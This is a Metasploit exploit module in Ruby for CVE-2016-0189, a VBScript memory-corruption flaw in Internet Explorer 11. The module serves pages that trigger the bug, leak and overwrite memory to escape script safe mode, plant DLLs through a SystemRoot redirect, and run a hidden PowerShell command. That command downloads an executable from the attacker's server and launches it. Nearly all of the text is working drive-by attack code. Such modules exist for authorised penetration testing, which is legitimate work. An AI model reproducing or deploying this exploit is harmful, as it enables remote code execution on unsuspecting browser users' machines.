## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE def initialize(info={}) super(update_info(info, 'Name' => "Internet Explorer 11 VBScript Engine Memory Corruption", 'Description' => %q{ This module exploits the memory corruption vulnerability (CVE-2016-0189) present in the VBScript engine of Internet Explorer 11. }, 'License' => MSF_LICENSE, 'Author' => [ 'Theori', # Original RE research and exploitation 'William Webb <william_webb[at]rapid7.com>' # Metasploit module ], 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'Windows 10 with IE 11', { } ] ], 'References' => [ [ 'CVE', '2016-0189' ], [ 'MSB', 'MS16-051' ] ], 'Arch' => ARCH_X86_64, 'DisclosureDate' => "May 10 2016", 'DefaultTarget' => 0)) end def setup # @stage2html = Rex::Text.rand_text_alphanum(6) @ieshell = "#{Rex::Text.rand_text_alphanumeric(6)}" # ieshell32.dll uri @localsrv = "#{Rex::Text.rand_text_alphanumeric(6)}" # ielocalserver.dll uri @pm_escape_html = "#{Rex::Text.rand_text_alphanumeric(6)}" # vbscipt_godmode.html @payload_uri = "#{Rex::Text.rand_text_alphanumeric(8)}" @payload_exe = "#{Rex::Text.rand_text_alpha(6)}.exe" File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2016-0189", "ieshell32.dll" ), "rb") { |f| @stage2dll = f.read } File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2016-0189", "ielocalserver.dll" ), "rb") { |f| @localserver = f.read } super end def exploit_html(req_uri) srvhost = datastore['SRVHOST'] srvport = datastore['SRVPORT'] template = <<-EOF <html> <head> <meta http-equiv="x-ua-compatible" content="IE=10"> </head> <body> <script type="text/vbscript"> Dim downloadFiles Dim cacheRegex Dim cacheFiles(3) Dim downloadState Dim pinTime Dim oFSO Dim oWS Dim shell function FindFile(path, regexFile) FindFile = "" For Each f in oFSO.GetFolder(path).Files If regexFile.Test(f.Name) Then FindFile = f.Name Exit For End If Next end function function SearchCache(path, regexFile) SearchCache = "" For Each fld in oFSO.GetFolder(path).SubFolders 'If DateDiff("s", pinTime, fld.DateLastModified) >= 0 Then filename = FindFile(path & "\\" & fld.Name, regexFile) If filename <> "" Then SearchCache = path & "\\" & fld.Name & "\\" & filename Exit For End If 'End If Next end function function loaddll() On Error Resume Next Set wshSystemEnv = oWS.Environment("Process") tmpDir = oFSO.GetSpecialFolder(2) tmpSysDir = tmpDir & "\\System32" tmpShellFile = tmpSysDir & "\\shell32.dll" oFSO.CreateFolder(tmpSysDir) oFSO.MoveFile cacheFiles(0), tmpShellFile mydllFile = tmpDir & "\\" & downloadFiles(1) oFSO.MoveFile cacheFiles(1), mydllFile wshSystemEnv("MyDllPath") = mydllFile If (UBound(downloadFiles) = 2) Then stage2File = tmpDir & "\\#{@pm_escape_html}.html" oFSO.MoveFile cacheFiles(2), stage2File wshSystemEnv("stage2file") = stage2File End If saveRoot = wshSystemEnv("SystemRoot") wshSystemEnv("SaveSystemRoot") = saveRoot wshSystemEnv("SystemRoot") = tmpDir Set shell = CreateObject("Shell.Application") If (UBound(downloadFiles) = 2) Then call tolocal() End If end function Sub OnDownloadDone() If InStr(userAgent, "NT 5.") > 0 Then cacheDir = oWS.ExpandEnvironmentStrings("%USERPROFILE%") cacheDir = cacheDir & "\\Local Settings\\Temporary Internet Files\\Low\\IE" Else cacheDir = oWS.ExpandEnvironmentStrings("%LOCALAPPDATA%") cacheDir = cacheDir & "\\Microsoft\\Windows\\Temporary Internet Files\\Low\\IE" End If Set regexFile = new regexp regexFile.Pattern = cacheRegex(downloadState) cacheFiles(downloadState) = SearchCache(cacheDir, regexFile) If cacheFiles(downloadState) = "" Then Exit Sub End If If downloadState = UBound(downloadFiles) Then loaddll() Else downloadState = downloadState + 1 DoDownload() End If End Sub Sub DoDownload() pinTime = Now call getdll(downloadFiles(downloadState)) End Sub Sub runshell() downloadFiles = Array("#{@ieshell}.dll", "#{@localsrv}.dll", "#{@pm_escape_html}.html") cacheRegex = Array("^#{@ieshell}\\[\\d\\].dll$", "^#{@localsrv}\\[\\d\\].dll$", "^#{@pm_escape_html}\\[\\d\\].htm$") Set oFSO = CreateObject("Scripting.FileSystemObject") Set oWS = CreateObject("WScript.Shell") downloadState = 0 DoDownload() End Sub </script> <script type="text/vbscript"> Dim bl Dim plunge(32) Dim y(32) prefix = "%u4141%u4141" d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242" b = String(64000, "D") c = d & b x = UnEscape(c) Class ArrayWrapper Dim A Private Sub Class_Initialize ReDim Preserve AA(1, 2000) A = AA End Sub Public Sub Resize() ReDim Preserve A(1, 1) End Sub End Class Class Spray End Class Function getAddr (arg1, s) bl = Null Set bl = New ArrayWrapper For i = 0 To 32 Set plunge(i) = s Next Set bl.A(arg1, 2) = s Dim addr Dim i For i = 0 To 31 If Asc(Mid(y(i), 3, 1)) = VarType(s) Then addr = strToInt(Mid(y(i), 3 + 4, 2)) End If y(i) = Null Next If addr = Null Then document.location.href = document.location.href Return End If getAddr = addr End Function Function leakMem (arg1, addr) d = prefix & "%u0008%u4141%u4141%u4141" c = d & intToStr(addr) & b x = UnEscape(c) bl = Null Set bl = New ArrayWrapper Dim o o = bl.A(arg1, 2) leakMem = o End Function Sub overwrite (arg1, addr) d = prefix & "%u400C%u0000%u0000%u0000" c = d & intToStr(addr) & b x = UnEscape(c) bl = Null Set bl = New ArrayWrapper bl.A(arg1, 2) = CSng(0) End Sub Function exploit (arg1) Dim addr Dim csession Dim olescript Dim mem Set sp = New Spray addr = getAddr(arg1, sp) mem = leakMem(arg1, addr + 8) csession = strToInt(Mid(mem, 3, 2)) mem = leakMem(arg1, csession + 4) olescript = strToInt(Mid(mem, 1, 2)) overwrite arg1, olescript + &H174 runshell() End Function Function triggerBug bl.Resize() Dim i For i = 0 To 32 y(i) = Mid(x, 1, 24000) Next End Function </script> <script type="text/javascript"> var userAgent = navigator.userAgent; var oReq; function getdll(downloadFile) { oReq = new XMLHttpRequest(); oReq.open("GET", "http://#{srvhost}:#{srvport}#{req_uri}/"+downloadFile, true); oReq.onreadystatechange = handler; oReq.send(); } function handler() { if (oReq.readyState == 4 && oReq.status == 200) { OnDownloadDone(); } } function tolocal() { location.href = "http://localhost:5555/#{@pm_escape_html}.html"; } function strToInt(s) { return s.charCodeAt(0) | (s.charCodeAt(1) << 16); } function intToStr(x) { return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16); } var o; o = {"valueOf": function () { triggerBug(); return 1; }}; setTimeout(function() {exploit(o);}, 50); </script> </body> </html> EOF template end def stage2_html(req_uri) template = <<-EOF <html> <head> <meta http-equiv="x-ua-compatible" content="IE=10"> </head> <body> <script type="text/vbscript"> Dim aw Dim plunge(32) Dim y(32) prefix = "%u4141%u4141" d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242" b = String(64000, "D") c = d & b x = UnEscape(c) Class ArrayWrapper Dim A() Private Sub Class_Initialize ReDim Preserve A(1, 2000) End Sub Public Sub Resize() ReDim Preserve A(1, 1) End Sub End Class Class Dummy End Class Function getAddr (arg1, s) aw = Null Set aw = New ArrayWrapper For i = 0 To 32 Set plunge(i) = s Next Set aw.A(arg1, 2) = s Dim addr Dim i For i = 0 To 31 If Asc(Mid(y(i), 3, 1)) = VarType(s) Then addr = strToInt(Mid(y(i), 3 + 4, 2)) End If y(i) = Null Next If addr = Null Then document.location.href = document.location.href Return End If getAddr = addr End Function Function leakMem (arg1, addr) d = prefix & "%u0008%u4141%u4141%u4141" c = d & intToStr(addr) & b x = UnEscape(c) aw = Null Set aw = New ArrayWrapper Dim o o = aw.A(arg1, 2) leakMem = o End Function Sub overwrite (arg1, addr) d = prefix & "%u400C%u0000%u0000%u0000" c = d & intToStr(addr) & b x = UnEscape(c) aw = Null Set aw = New ArrayWrapper aw.A(arg1, 2) = CSng(0) End Sub Function exploit (arg1) Dim addr Dim csession Dim olescript Dim mem Set dm = New Dummy addr = getAddr(arg1, dm) mem = leakMem(arg1, addr + 8) csession = strToInt(Mid(mem, 3, 2)) mem = leakMem(arg1, csession + 4) olescript = strToInt(Mid(mem, 1, 2)) overwrite arg1, olescript + &H174 Set shObj = CreateObject("Wscript.shell") shObj.Run("PowerShell -nologo -WindowStyle Hidden $d=$env:temp+'\\#{@payload_exe}';(New-Object System.Net.WebClient).DownloadFile('http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{req_uri}/#{@payload_uri}',$d);Start-Process $d") shObj.Run("%temp%\\#{@payload_exe}") End Function Function triggerBug aw.Resize() Dim i For i = 0 To 32 y(i) = Mid(x, 1, 24000) Next End Function </script> <script type="text/javascript"> function strToInt(s) { return s.charCodeAt(0) | (s.charCodeAt(1) << 16); } function intToStr(x) { return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16); } var o; o = {"valueOf": function () { triggerBug(); return 1; }}; setTimeout(function() {exploit(o);}, 50); </script> </body> </html> EOF template end def on_request_uri(cli, request) # used for some debugging stuff ies = @ieshell ls = @localsrv pm = @pm_escape_html print_status("Received request: #{request.uri}") if request.uri =~ /.*#{ies}.*$/ print_status("Sending stage two DLL ...") send_response(cli, @stage2dll, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) elsif request.uri =~ /.*#{ls}.*$/ print_status("Sending local server DLL ...") send_response(cli, @localserver, { 'Content-Type' => 'application/x-msdownload', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) elsif request.uri =~ /.*#{pm}.*$/ rq = "#{get_resource.chomp('/')}" gm = stage2_html(rq) send_response(cli, gm, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' }) elsif request.uri =~ /.*#{@payload_uri}$/ return if ((payload = regenerate_payload(cli)) == nil) print_status("Sending payload ...") send_response(cli, generate_payload_exe({ :code => payload.encoded }), { 'Content-Type' => 'application/octet-stream', 'Connection' => 'close' }) else print_status("Sending main page ..") send_response(cli, exploit_html(request.uri)) end end end